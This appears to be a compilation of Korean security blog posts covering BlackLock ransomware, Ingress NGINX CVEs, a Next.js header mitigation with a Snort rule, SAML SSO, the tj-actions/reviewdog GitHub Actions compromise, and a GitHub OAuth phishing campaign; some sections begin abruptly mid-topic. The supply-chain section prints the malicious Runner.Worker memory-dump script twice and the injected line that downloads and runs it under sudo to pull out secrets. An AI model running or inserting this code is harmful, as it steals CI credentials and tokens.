- 사이버보안 연구진이 랜섬웨어 조직 ‘블랙락(BlackLock)’의 온라인 인프라에 침투 - 주요 운영 정보 확보
내용
- 블랙락(BlackLock) > 이전에 엘도라도(Eldorado)라는 이름으로 활동 > 24.03경부터 활동을 본격화한 Ransomware-as-a-Service(RaaS) 조직 > 기술, 제조, 건설, 금융, 유통 등 다양한 산업 및 미국, 영국, 캐나다, 프랑스, 이탈리아 등 여러 국가를 공격
- 미국 보안 기업 리시큐리티(Resecurity) > 블랙락이 다크웹에서 운영하던 데이터 유출 사이트(DLS)에 로컬 파일 포함(Local File Inclusion, LFI) 취약점이 존재함을 발견 > 해당 취약점은 웹 서버에 경로 이동(Path Traversal) 공격을 가해 서버 내부 정보를 불법으로 열람할 수 있도록 함 > 연구진은 이를 통해 서버 설정 파일, 계정 자격증명, 운영자가 입력한 명령어 기록 등 민감한 정보를 확보 * 블랙락 조직에게 있어 매우 심각한 운영 보안(OPSEC) 실패로 평가됨
- 유출된 데이터 분석 결과 ① 데이터 탈취 방식 > 피해자의 시스템에서 탈취한 데이터를 클라우드 서비스인 MEGA로 전송하기 위해 Rclone 툴 사용 > 일부 경우 피해자의 컴퓨터에 MEGA 클라이언트를 직접 설치한 흔적 발견
② 일회용 이메일 사용 > YOPmail과 같은 일회용 이메일 서비스로 만든 계정으로 최소 8개의 MEGA 계정을 생성해 피해자 데이터 보관
③ 기존 랜섬웨어와의 유사성 > 역공학 분석 결과, 드래곤포스(DragonForce) 랜섬웨어와 소스코드 및 협박 메시지에서 유사한 부분 발견 > 드래곤포스는 Visual C++로 작성, 블랙락은 Go 언어를 사용 > 개발 방식은 다르지만 상호 연관 가능성이 제기
④ 공격 파트너 모집 > 블랙락의 핵심 인물로 알려진 ‘$$$’는 25.01 중순부터 지하 커뮤니티에서 공격 초기 침투를 수행할 파트너 모집 > 이들은 악성 사이트로 피해자를 유도해 초기 접근 권한을 확보한 후 랜섬웨어를 설치하는 역할
기타
- 랜섬웨어 조직 간의 경쟁 또는 조직 통합의 신호 > 블랙락의 데이터 유출 사이트가 드래곤포스에 의해 변조 > 마모나(Mamona)의 사이트도 동일하게 변조
- 능동적 대응 전략을 통해 사이버 범죄 생태계에 실질적인 타격을 줄 수 있음을 보여줌 > 공격 기법이 계속 진화하는 만큼, 지속적인 경계와 보안 커뮤니티 간 협력이 앞으로도 중요할 것으로 보임
- KISA, 해킹 진단 도구 업데이트 - 리눅스 추가 지원 및 사용자 편의 기능 등 추가
내용
- KISA 해킹 진단 도구 > 23년 기업이 자체적으로 해킹 사고 여부를 점검할 수 있도록 개발 및 시범 배포 > 24년 정식 버전 배포 및 지속적 기능 개선 > 관리자 계정 접속 시도나 데이터 유출 시도 등의 주요 증거 데이터를 분석 > 해킹 여부를 빨강(심각)-주황(주의)-녹색(정상) 3단계로 제시 > 점검 결과를 통해 해킹이 의심되면, KISA에 침해사고 분석 기술지원 서비스를 받아 원인 분석부터 재발 방지 대책 수립까지 지원받을 수 있음
- 이번 업데이트에서 리눅스 추가 지원을 통해 활용 범위 확대 > 윈도우용 점검 도구는 사용자 편의를 돕기 위해 증거 데이터 수집 항목 추가, 탐지룰 제작 기능 개선, 신규 탐지룰 탑재 등의 기능을 추가
- Ingress란 클러스터 외부에서 내부로 접근하는 요청들을 어떻게 처리할지 정의해둔 규칙들의 모음 [1][2][3][4] -Ingress Controller란 Ingress 리소스에 정의된 규칙을 읽고, 해당 규칙에 따라 트래픽을 라우팅 [1][2][3][4] - Ingress NGINX Controller란 NGINX를 역방향 프록시 및 로드 밸런서로 사용하는 Kubernetes용 Ingress Controller [5][6]
2. 주요내용 [7]
- Ingress NGINX Controller의 구조적 설계 문제로 공격자가 악의적인 Ingress 객체를 전송하여 임의의 NGINX 설정을 주입할 수 있음
> 취약점 악용에 성공 시 클러스터 내 모든 시크릿 노출, 원격 코드 실행 등이 가능
- Admission Controller는 사용자의 요청을 변조(Mutate)와 검증(Validation)을 통해 요청의 승인 여부를 결정
> 기본적으로 인증 없이 누구나 접근 가능한 상태로 배포되어 네트워크를 통해 액세스 가능
※ 변조(Mutate) : 사용자의 요청을 사전 정의된 변형 규칙에 따라 요청을 변경
※ 검증(Validation) : 요청이 기준에 맞는지 확인하여 해당 요청을 승인 또는 거절
- Admission Controller는 Admission Webhook Endpoint를 통해 Kubernetes API 서버와 통신
> AdmissionReview 구조로 통신
> 일반 적으로 Kubernetes API 서버만 AdmissionReview 요청을 보내야 하지만, Admission Controller는 누구나 접근 가능하기 때문에 임의의 AdmissionReview요청을 전송할 수 있음
[사진 1] Admission Controller
- Ingress NGINX Controller는 AdmissionReview 요청을 처리할 때 템플릿 파일과 제공된 Ingress 객체를 기반으로 임시 NGINX 구성 파일을 생성
> 임시 파일 생성 후 nginx -t 명령을 사용해 임시 구성 파일의 유효성을 테스트
> 이때, 적절한 검증이 없어 조작된 Ingress 객체를 전송해 임의의 NGINX 구성을 삽입할 수 있음
[사진 2] nginx -t
2.1 취약점
2.1.1 CVE-2025-24514 [9]
- authreq 파서는 인증 관련 주석을 처리하는 역할을 수행
> 주석에는 URL을 포함하는 auth-url 필드를 설정해야 하며, 해당 값을 적절한 검증 없이 $externalAuth.URL에 포함
> ngnix -t 명령을 실행할 때 명령에 포함되어 실행
2.1.2 CVE-2025-24513 [10]
- 부적절한 입력 값 검증으로 Directory Traversal 공격이 가능
> 이를 통해 DoS 또는 제한된 비밀 객체 노출 발생 가능
2.1.3 CVE-2025-1097 [11]
- authtls 파서는 auth-tls-match-cn 주석을 CommonNameAnnotationValidator를 사용하여 필드 값을 검증
> auth-tls-match-cn 주석은 CN=으로 시작
> 이를 통해 임의의 코드 실행이 가능
2.1.4 CVE-2025-1098 [12]
- mirror-target과 mirror-host Ingress 주석을 사용하여 nginx에 임의의 구성을 삽입할 수 있음
> 이를 통해 임의의 코드 실행이 가능
2.1.5 CVE-2025-1974 [13]
- 특정 조건 하에서 Pod Network에 액세스할 수 있는 인증되지 않은 공격자가 임의 코드 실행이 가능
3. 대응방안
- 벤더사 제공 보안 업데이트 적용 [14][15][16][17]
제품명
영향받는 버전
해결 버전
Ingress NGINX Controller
1.11.0 미만
1.11.5
1.11.0 이상 ~ 1.11.4 이하
1.12.0
1.12.1
- 추가 모니터링 및 필터 적용
> Admission Controller가 Kubernetes API 서버에서만 접근 가능하도록 접근 제한
> Admission Webhook Endpoint가 외부에 노출되지 않도록 설정
> Admission Controller 컴포넌트가 불필요할 경우 비활성화
> Helm을 사용하여 ingress-nginx를 설치한 경우 controller.admissionWebhooks.enabled=false로 설정하여 재설치 > 수동으로 ingress-nginx를 설치한 경우
① ValidatingWebhookConfiguration에서 ingress-nginx-admission 삭제
② ingress-ngin-controller 컨테이너의 Deployment 또는 Daemonset에서 '--validating-webhook' 인수 삭제
// Middleware to remove the x-middleware-subrequest header
app.use((req, res, next) => {
delete req.headers['x-middleware-subrequest'];
next();
});
- WAF에서 x-middleware-subrequest 헤더를 포함한 요청을 차단하도록 설정
- 탐지룰 설정
alert tcp any any -> any any (msg:"CVE-2025-29927 x-middleware-subrequest Detected"; flow:to_server,established; content:"x-middleware-subrequest|3A|"; http_header; pcre:"x-middleware-subrequest\s*:\s*(pages\/_middleware|middleware|src\/middleware)"; )
2.1 SAML (Security Assertion Markup Language) Single Sign-On(SSO)
- SAML : 인증 정보 제공자(Identity Provider, idP)와, 서비스 제공자(Service Provider, SP) 간의 인증 및 인가 데이터를 교환하기 위한 XML 기반의 표준 데이터 포맷
- SSO : 하나의 자격 증명으로 한 번만 로그인하여 여러 앱에 액세스할 수 있도록 해 주는 기술
[사진 3] 동작 과정 요약 [7]
단계
설명
서비스 요청
- 사용자가 서비스에 접근 > SP는 해당 유저의 인증 유무 확인 (Access Check)
SSO 서비스 이동
- 인증되지 않은 경우 SP는 SAMLRequest를 생성해 사용자에게 전송 > SP는 IDP는 직접 연결되지 않고, 사용자의 브라우저에서 SAMLRequest를 IDP로 리다이렉션
SSO 서비스 요청
- IDP는 SAMLRequest를 파싱하고 사용자 인증을 진행
SAML 응답
- 인증 성공 시 SAMLResponse를 생성하여 사용자의 브라우저로 전송 > SAMLResponse에는 SAMLAssertion (사용자의 인증 정보를 포함한 XML 문서)이 포함 > IDP는 웹 브라우저에 Session Cokkie를 설정하고 해당 정보는 브라우저에 캐싱
SAML 응답 전송
- 사용자는 SP의 ACS로 SAMLResponse를 POST
서비스 응답
- ACS는 SAMLResponse를 검증하고 유효한 경우 요청한 서비스로 사용자를 포워딩
- 공격자는 GitHub Action reviewdog/action-setup@v1를 감염시킨 후 이를 통해 tj-actions/changed-files를 침투 [4][5][6]
> CI/CD 러너(Runner) 메모리 데이터를 덤프해 환경 변수와 비밀 키를 로그에 기록하도록 조작
> 이로 인해 AWS 액세스 키, 깃허브 개인 액세스 토큰(PAT), NPM 토큰, 개인 RSA 키 등이 외부로 노출될 수 있음
[사진 1] 공급망 공격 과정 요약
- 공격자는 reviewdog/action-setup@v1의 install.sh에 Based64로 인코딩된 Python 코드를 삽입(Hardcoded) [8]
> 해당 코드는 Runner.Worker 프로세스의 메모리에서 읽기 가능한 영역을 추출하여 덤프하는 코드
> CVE-2025-30154 (CVSS: 8.6)으로 지정 [9]
[사진 2] install.sh에 Hardcoded된 악성 코드
#!/usr/bin/env python3
# based on https://davidebove.com/blog/?p=1620
import sys
import os
import re
# 실행 중인 프로세스 중 'Runner.Worker' 문자열이 포함된 프로세스의 PID를 찾아 반환
def get_pid():
# /proc 디렉터리에서 현재 실행 중인 모든 프로세스 PID 목록 가져오기
pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]
for pid in pids:
try:
# 각 프로세스의 cmdline (실행 명령어) 확인
with open(os.path.join('/proc', pid, 'cmdline'), 'rb') as cmdline_f:
if b'Runner.Worker' in cmdline_f.read(): # Runner.Worker가 포함된 프로세스인지 확인
return pid
except IOError:
continue
# 해당 프로세스가 없으면 예외 발생
raise Exception('Can not get pid of Runner.Worker')
if __name__ == "__main__":
# Runner.Worker 프로세스의 PID 찾기
pid = get_pid()
print(pid)
# 해당 프로세스의 maps과 mem 파일 경로 지정
map_path = f"/proc/{pid}/maps"
mem_path = f"/proc/{pid}/mem"
# map 파일 및 mem 파일 읽기
with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f:
# 메모리 매핑된 각 영역을 한 줄씩 읽음
for line in map_f.readlines():
# 정규 표현식으로 메모리 시작-끝 주소와 권한 정보 추출
m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)
# 읽기 권한이 있는 영역만 대상
if m and m.group(3) == 'r':
start = int(m.group(1), 16) # 시작 주소
end = int(m.group(2), 16) # 끝 주소
# 64비트 환경에서 파이썬 int로 처리할 수 없는 주소 건너뛰기
if start > sys.maxsize:
continue
# 메모리 파일 포인터를 해당 영역의 시작 위치로 이동
mem_f.seek(start)
try:
# 메모리 내용을 읽고 표준 출력으로 내보내기 (바이너리로)
chunk = mem_f.read(end - start)
sys.stdout.buffer.write(chunk)
except OSError:
# 일부 영역은 읽을 수 없을 수 있음 → 무시하고 넘어감
continue
- 공격자는 덤프로 탈취한 자격증명을 도용해 tj-actions/changed-files를 침해한 것으로 판단됨
> 공격자는 Based64로 인코딩된 페이로드를 index.js에 삽입
> 해당 코드는 특정 URL에서 Python 코드를 다운 받아 실행한 후 Based64를 두 번 적용해 출력하는 코드
> CVE-2025-30066 (CVSS: 8.6)으로 지정 [10]
[사진 3] 삽입된 함수
# 현재 OS 타입이 리눅스인 경우
if [[ "$OSTYPE" == "linux-gnu" ]]; then
# 특정 URL에서 memdump.py 다운로드 및 실행
# sudo 권한으로 실행
# 널 문자 제거 (tr -d '\0'), 특정 패턴 출력 (grep ~), 중복 제거 (sort -u), Based64 인코딩 두 번 적용 (base64 -w 0)
# 인코딩된 값 출력
B64_BLOB=`curl -sSf hxxps://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0 | base64 -w 0`
echo $B64_BLOB
else
exit 0
fi
- 특정 URL의 Python 코드는 Runner.Worker 프로세스의 메모리에서 읽기 가능한 영역을 추출하여 출력
#!/usr/bin/env python3
import sys
import os
import re
# 실행 중인 프로세스 중 'Runner.Worker' 문자열이 포함된 프로세스의 PID를 찾아 반환하는 함수
def get_pid():
# /proc 디렉터리에서 현재 실행 중인 모든 프로세스 PID 목록 가져오기
pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]
for pid in pids:
try:
# 각 프로세스의 cmdline (실행 명령어) 확인
with open(os.path.join('/proc', pid, 'cmdline'), 'rb') as cmdline_f:
# Runner.Worker가 포함된 프로세스인지 확인
if b'Runner.Worker' in cmdline_f.read():
# 찾으면 해당 PID 반환
return pid
except IOError:
# 접근 불가한 PID는 무시
continue
# 찾지 못할 경우 예외 발생
raise Exception('Can not get pid of Runner.Worker')
if __name__ == "__main__":
pid = get_pid() # 대상 프로세스 PID 획득
print(pid) # 표준 출력으로 PID 출력 (bash 스크립트에서 사용)
map_path = f"/proc/{pid}/maps" # 메모리 매핑 정보 파일
mem_path = f"/proc/{pid}/mem" # 실제 메모리 접근 파일
with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f:
for line in map_f.readlines(): # 매핑된 메모리 영역 하나씩 확인
m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line) # 시작-끝 주소, 권한 파싱
if m and m.group(3) == 'r': # 읽기 권한(r)이 있는 영역만
start = int(m.group(1), 16)
end = int(m.group(2), 16)
if start > sys.maxsize: # 64비트 환경에서 처리 불가한 주소 방지
continue
mem_f.seek(start) # 메모리 영역 시작점으로 이동
try:
chunk = mem_f.read(end - start) # 해당 메모리 영역 읽기
sys.stdout.buffer.write(chunk) # 메모리 내용 바이너리로 출력 (bash에서 후속 처리)
except OSError:
# 일부 보호된 메모리 영역 접근 불가 → 무시
continue
[사진 4] tj-actions/changed-files 침해 요약
3. 대응방안
① Action 업데이트 적용 (or 대체 도구로 교체 or 사용 중단)
- tj-actions/changed-files의 경우 46.0.1 버전에서 취약점을 해결 [11]
> 대체 도구 사용 : tj-actions/changed-files 액션을 step-security/changed-files@v45 로 교체
> 또는 사용 중단
② Action 워크플로 실행 로그 감사
- 해당 기간 동안 Runner.Worker 관련 이상 활동 및 tj-actions/changed-files 또는 reviewdog/action-setup@v1 기록 확인
> “🐶 Preparing environment ...” 또는 [사진 5]의 문자열이 확인될 경우 악성코드가 실행된 것
[사진 5] 악성코드가 실행된 경우의 예시
③ 관련된 비밀 정보 모두 변경
- GitHub 개인 액세스 토큰 (PAT), AWS 키, NPM 토큰, RSA 키 등 모든 종류의 비밀 키 교체
④ GitHub Actions 버전 고정 : 커밋 해시로 고정
- 특정 커밋 해시를 사용해 버전 고정
⑤ GitHub 허용 목록 기능 활용
- 신뢰할 수 있는 GitHub Actions만 실행하도록 허용 목록 구성
⑥ Reviewdog 의존 Action 점검
- reviewdog/action-setup이 다른 reviewdog Action의 구성요소로 포함되어 있어 해당 Action들에 대한 확인 필요 > reviewdog/action-shellcheck > reviewdog/action-composite-template > reviewdog/action-staticcheck > reviewdog/action-ast-grep > reviewdog/action-typos
- 해외에서 12,000곳의 깃허브 리포지토리를 접근 계정을 겨냥한 대규모 사이버 공격이 최근 발생 - 깃허브의 다양한 인증 설정을 해제하도록 만들어진 가짜 OAuth 페이지로 유도
내용
- 해외에서 12,000개의 GitHub 리포지토리를 대상으로한 피싱 공격이 발생 > 가짜 보안 경고를 문제로 개발자를 속여 계정과 코드에 대한 전체 제어권 획득 시도 > Security Alert: Unusual Access Attempt > 특정 IP에서 비정상적인 활동이 발생했음을 경고 > 계정이 침해당했으며, 비밀번호를 변경하고 세션 검토 및 관리, 2단계 인증 활성화 안내 내용을 포함
- 깃허브의 다양한 인증 설정을 해제하도록 만들어진 가짜 OAuth 페이지로 유도 > 사용자가 로그인하여 악성 OAuth 앱을 인증하면 액세스 토큰이 생성되어 아래 URL로 전송 > URL : github-com-auth-secure-access-token.onrender[.]com > 공개 및 비공개 리포지토리 접근 및 삭제, 사용자 프로필 읽기 및 수정, 조직 멤버십 및 프로젝트 조회, 깃허브 지스트(Gist) 접근 등이 가능해짐
- 권고 > GitHub 설정에서 액세스 권한 취소 > 'gitsecurityapp'와 이름이 비슷한 GitHub 앱 또는 OAuth 앱에 대한 액세스 취소 > 의심스러운 GitHub Actions 존재 확인 및 비공개 gist 생성 여부 확인 > 자격 증명과 승인 토큰 변경 등
기타
- KISA 보호나라 관련 권고 > 깃허브 이용자가 의심스러운 상황을 인지한 경우 ① 패스워드 즉시 리셋 ② 이중인증 복구 코드 즉시 리셋 ③ 개인 액세스 토큰 안전성 검토 ④ 패스워드 자동 저장 기능 사용하지 않기 등 보안 강화 활동이 요구
> 피싱 공격발생에 대비한 활동으로 다음과 같은 방법 권고 o 해킹메일 예방 방법 - 발신자 주소를 정확히 확인하고 모르는 이메일 및 첨부파일은 열람 금지 - 이메일 첨부 파일 중 출처가 불분명한 파일 다운로드 자제 - 이메일 내부 클릭을 유도하는 링크는 일단 의심하고 연결된 사이트 주소 정상 사이트 여부를 반드시 확인
o 피싱 · 스미싱 예방 방법 - 출처가 불분명한 사이트 주소는 클릭을 자제하고 바로 삭제 - 휴대폰번호, 아이디, 비밀번호 등 개인정보는 신뢰된 사이트에만 입력하고 인증번호의 경우 모바일 결제로 연계될 수 있으므로 한 번 더 확인
o PC 및 스마트폰 보안 강화 - 운영체제 및 자주 사용하는 문서 프로그램(hwp, doc 등)에 대해 최신 업데이트 수행 - 바이러스 백신 업데이트 및 수시 검사
□ 침해사고 신고 o 'KISA 인터넷 보호나라&KrCERT' 홈페이지(http://www.boho.or[.]kr) → 상담및신고 → 해킹 사고 신고